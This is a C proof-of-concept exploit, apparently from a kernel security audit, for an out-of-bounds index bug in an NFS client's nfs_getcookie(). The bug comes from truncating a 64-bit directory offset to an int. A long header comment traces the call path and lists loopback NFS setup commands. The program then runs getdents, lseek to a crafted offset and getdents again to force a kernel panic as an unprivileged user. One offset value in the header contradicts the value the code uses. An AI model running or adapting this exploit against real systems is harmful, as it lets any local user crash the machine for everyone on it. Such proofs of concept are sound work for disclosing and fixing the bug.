DF-0810 / nfs_getcookie_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-0810 - nfs_getcookie() OOB array index via int truncation of 64-bit dir offset * * Bug: sys/vfs/nfs/nfs_subs.c:1341 * int pos; * pos = (uoff_t)off / NFS_DIRBLKSIZ; // 64-bit quotient truncated to int * * Trigger sequence (unprivileged user with read access to an NFS directory * that has more than NFS_DIRBLKSIZ (4096) bytes of entries): * * 1. open(dir) + getdents(small buf) -- populates the cookie cache list * (nfs_getcookie add=1 at nfs_vnops.c:2699) WITHOUT reaching EOF, so * np->n_direofoffset stays 0 and the nfs_bioread EOF gate at * nfs_bio.c:285-289 does NOT short-circuit the next read. * 2. lseek(fd, (2^31+1)*4096, SEEK_SET) * vn_seek (vfs_vnops.c:1341) only rejects NEGATIVE offsets for VDIR; * the large positive offset 8796093022208 is accepted. * 3. getdents() -> VOP_READ -> nfs_bioread (n_direofoffset==0, gate passes) * -> nfs_getcacheblk(wild_offset) -> nfs_doio (bio_offset=wild) * -> nfs_readdirrpc_uio -> nfs_getcookie(np, 8796093022208, 0): * pos = 8796093022208 / 4096 = 2147483649 (0x80000001) * truncated to int -> -2147483647 * pos-- -> INT_MIN (-2147483648) * while (pos >= 31) skipped (negative) * if (pos >= ndm_eocookie) skipped (negative < anything >= 0) * return &dp->ndm_cookies[-2147483648] // WILD pointer * Caller (nfs_vnops.c:2518-2519): cookie = *cookiep * -> DEREFERENCE of wild pointer -> page fault -> kernel PANIC. * * Precondition (acceptable per audit realism test): * An admin has set up a loopback NFS export readable by maxx: * service rpcbind onestart * service mountd onestart * service nfsd onestart * echo "/nfsroot -maproot=root -network 127.0.0.0 -mask 255.0.0.0" > /etc/exports * mount_nfs 127.0.0.1:/nfsroot /mnt * mkdir -p /nfsroot/bigdir * (cd /nfsroot/bigdir && i=1; while [ $i -le 500 ]; do touch f$i; i=$((i+1)); done) * chown -R maxx:maxx /nfsroot/bigdir * * Usage: ./nfs_getcookie_oob /mnt/bigdir */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <dirent.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> /* * Off = (2^31 + 1) * 4096 = 8796093026304 * Quotient (uoff_t) / 4096 = 0x80000001 = 2147483649 -> int = -2147483647 * pos-- -> INT_MIN (-2147483648). Wild &ndm_cookies[INT_MIN] deref -> page fault. * * NOTE: if we used (2^31)*4096 instead, quotient=0x80000000=INT_MIN, and * pos-- (UB on x86 wraps to INT_MAX) would enter the while(pos>=31) loop * and return NULL (NFSERR_BAD_COOKIE), NOT a wild pointer. The +1 matters. */ #define WILD_OFF ((off_t)8796093026304LL) int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/bigdir"; int fd; off_t r; char buf[4096]; ssize_t n; fd = open(path, O_RDONLY | O_DIRECTORY); if (fd < 0) { perror(path); return 2; } /* Step 1: partial getdents to populate the cookie cache (nfsdmap list * gets at least one entry via nfs_getcookie add=1 at nfs_vnops.c:2699) * WITHOUT reaching EOF (directory has >4096 bytes of entries). * This keeps np->n_direofoffset == 0 so the nfs_bioread EOF gate * at nfs_bio.c:285-289 does not short-circuit the next read. */ n = getdents(fd, buf, sizeof(buf)); if (n < 0) { perror("step1 getdents"); close(fd); return 2; } fprintf(stderr, "[*] step1 partial getdents -> %zd bytes " "(cookie cache populated, n_direofoffset still 0)\n", n); /* Step 2: seek to the wild offset. vn_seek only rejects negative for * VDIR, so this large positive offset is accepted. */ r = lseek(fd, WILD_OFF, SEEK_SET); if (r < 0) { perror("step2 lseek"); close(fd); return 2; } fprintf(stderr, "[*] step2 lseek -> %lld (0x%llx); " "quotient 0x80000001 trunc to int = -2147483647\n", (long long)r, (unsigned long long)r); /* Step 3: getdents drives VOP_READ -> nfs_bioread (n_direofoffset==0, * gate passes) -> nfs_getcacheblk(wild) -> nfs_doio (bio_offset=wild) * -> nfs_readdirrpc_uio -> nfs_getcookie(np, WILD_OFF, 0) * -> returns &dp->ndm_cookies[INT_MIN] -> caller derefs -> PANIC. */ fprintf(stderr, "[*] step3 getdents() - about to dereference " "&ndm_cookies[INT_MIN] -> expect kernel panic\n"); fflush(stderr); n = getdents(fd, buf, sizeof(buf)); fprintf(stderr, "[!] getdents returned %zd (errno=%d: %s) - NO PANIC\n", n, errno, strerror(errno)); close(fd); return 0; } |